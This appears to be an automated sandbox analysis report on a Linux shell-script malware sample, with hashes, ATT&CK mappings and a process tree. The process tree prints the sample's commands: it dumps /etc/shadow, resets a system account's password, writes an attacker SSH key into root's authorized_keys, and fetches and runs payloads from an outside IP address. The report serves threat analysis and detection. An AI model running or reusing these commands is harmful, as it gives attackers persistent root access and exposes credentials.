3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436

Analysis

max time kernel
3s
max time network
5s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/08/2026, 15:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh
Size 843B
Sample260802-snwdsack31
SHA256 3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436
MD5 1f6a04d40134a3c7eb92cc8a4da7f1d1
SHA1 d2cd6409d8e90b37411eb373975685c98658a83e
SHA512 1b1f7fb6e41f9fb3eec312dcb01cf89ce527c8bfddf5b0c04e2c13d9ef6edfa95cea39f028abee56ec85e7a1e9b25ed199e21c8fbb43e0c837f665f1bcef9d03
TLSH
T1F9012FE67564AF31B048C265B36469A6648CE10423F61798709B5D76C8EFC85E30AE45
MD5 SHA1 SHA512 TLSH

Score

8^/10

antivm credential_access defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

Adds new SSH keys 1 TTPs 1 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence privilege_escalation

SSH Authorized Keys

T1098.004

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	wget

Modifies password files for system users/ groups 1 TTPs 1 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/passwd	chsh

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
748	chmod
688	chmod
729	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/x	689	3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh
/tmp/o	694	3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh
/tmp/oto	731	3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh
/tmp/oto	749	3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh

Modifies sudoers policy 1 TTPs 1 IoCs

Writes to /etc/sudoers or a drop-in config, potentially granting passwordless root access to a user or process.

Sudo and Sudo Caching

T1548.003

description	ioc	Process
File opened for modification	/etc/sudoers	3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh

OS Credential Dumping 1 TTPs 2 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	cat
File opened for reading	/etc/shadow	chsh

Checks system information (zLinux) 1 TTPs 1 IoCs

Check system information on IBM zSystems which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/sysinfo	lscpu

Removes the immutable protection flag from a file 1 TTPs 1 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
679	chattr

Writes file to system bin folder 1 IoCs

description	ioc	Process
File opened for modification	/sbin/.ssh/authorized_keys	cp

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	lscpu
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 8 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/thread_siblings	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_siblings	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_id	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/physical_package_id	lscpu
File opened for reading	/sys/devices/system/cpu/kernel_max	lscpu
File opened for reading	/sys/devices/system/cpu/possible	lscpu
File opened for reading	/sys/devices/system/cpu/present	lscpu

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/node	lscpu
File opened for reading	/sys/firmware/efi/systab	lscpu

Reads runtime system information 15 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/bus/pci/devices	lscpu
File opened for reading	/proc/self/status	lscpu
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/filesystems	chsh
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/kernel/osrelease	lscpu
File opened for reading	/proc/filesystems	passwd
File opened for reading	/proc/sys/kernel/ngroups_max	id
File opened for reading	/proc/efi/systab	lscpu
File opened for reading	/proc/device-tree/compatible	lscpu

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x	wget
File opened for modification	/tmp/oto	wget
File opened for modification	/tmp/oto	curl

/tmp/3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh
/tmp/3a2f5c1e963ce7d645e8c4b532d9dc494fbafff3f71a7c129817fdbe337aa436.sh
1⤵
- Executes dropped EXE
- Modifies sudoers policy
PID:642
- /bin/uname
  uname -a
  2⤵
  PID:647
- /usr/bin/id
  id
  2⤵
  - Reads runtime system information
  PID:650
- /bin/cat
  cat /etc/shadow /etc/passwd
  2⤵
  - OS Credential Dumping
  PID:655
- /usr/bin/lscpu
  lscpu
  2⤵
  - Checks system information (zLinux)
  - Checks CPU configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:661
- /usr/bin/chsh
  chsh -s /bin/sh daemon
  2⤵
  - Modifies password files for system users/ groups
  - OS Credential Dumping
  - Reads runtime system information
  PID:666
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:670
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:671
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:673
- /usr/bin/passwd
  passwd daemon --stdin
  2⤵
  - Reads runtime system information
  PID:676
- /bin/mkdir
  mkdir /root/.ssh
  2⤵
  - Reads runtime system information
  PID:677
- /usr/bin/chattr
  chattr -ia "/root/.ssh/*" /root/.ssh
  2⤵
  - Removes the immutable protection flag from a file
  PID:679
- /usr/bin/wget
  wget http://103.56.149.224/cacti/ns1.jpg -O /root/.ssh/authorized_keys
  2⤵
  - Adds new SSH keys
  PID:680
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:682
- /bin/chmod
  chmod 700 /root/ /root/.ssh
  2⤵
  PID:683
- /usr/bin/wget
  wget http://103.56.149.224/cacti/ns3.jpg -O /tmp/x
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod +x /tmp/x
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/x
  /tmp/x
  2⤵
  PID:689
- /bin/mv
  mv /tmp/x /tmp/o
  2⤵
  - Reads runtime system information
  PID:692
- /tmp/o
  /tmp/o
  2⤵
  PID:694
- /bin/rm
  rm -f /tmp/o
  2⤵
  PID:696
- /bin/mkdir
  mkdir /sbin/.ssh
  2⤵
  - Reads runtime system information
  PID:698
- /bin/cp
  cp /root/.ssh/authorized_keys /sbin/.ssh
  2⤵
  - Writes file to system bin folder
  - Reads runtime system information
  PID:700
- /bin/chown
  chown daemon.daemon /sbin/.ssh /sbin/.ssh/authorized_keys
  2⤵
  PID:702
- /bin/chmod
  chmod 700 /sbin/.ssh
  2⤵
  PID:704
- /bin/chmod
  chmod 600 /sbin/.ssh/authorized_keys
  2⤵
  PID:706
- /usr/bin/wget
  wget http://103.56.149.224/cacti/oto -O /tmp/oto
  2⤵
  - Writes file to tmp directory
  PID:707
- /bin/chmod
  chmod 755 /tmp/oto
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/oto
  /tmp/oto
  2⤵
  PID:731
- /usr/bin/curl
  curl http://103.56.149.224/cacti/oto -o /tmp/oto
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 755 /tmp/oto
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/oto
  /tmp/oto
  2⤵
  PID:749
- /bin/rm
  rm -f /tmp/oto
  2⤵
  PID:750

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

passwd+

Path /etc/passwd+
Size 1KB
SHA256 9cbfe09e241342a4e6dafecf17363fd690c114f6c9470e8d996824d12b136edc
MD5 68e49a559a50347a4646d1a9d86c97be
SHA1 54e24764e6d62841a23124f3a374d52d6103b2ca
SHA512 465fcab09ac32f3698068704a7570d0c89902b8603d0983c0e81f1952ff16b87ff13489ba3ce802717cf595a19d5d9020e924de2b87b4da605d591688de2ea2a
TLSH
T1ED2125200329A0BC9CC1E85A112B7FE414EC78D14A79FB2DD87BA144ED8BB6D37648B4
MD5 SHA1 SHA512 TLSH

Submit Download

oto

Path /tmp/oto
Size 196B
SHA256 80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880
MD5 62962daa1b19bbcc2db10b7bfd531ea6
SHA1 d64bae91091eda6a7532ebec06aa70893b79e1f8
SHA512 9002a0475fdb38541e78048709006926655c726e93e823b84e2dbf5b53fd539a5342e7266447d23db0e5528e27a19961b115b180c94f2272ff124c7e5c8304e7
TLSH
T1C0D0129E9183638B442225907AC211D2654D13A6B87645E82D82A48A951857DC5CA69D
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads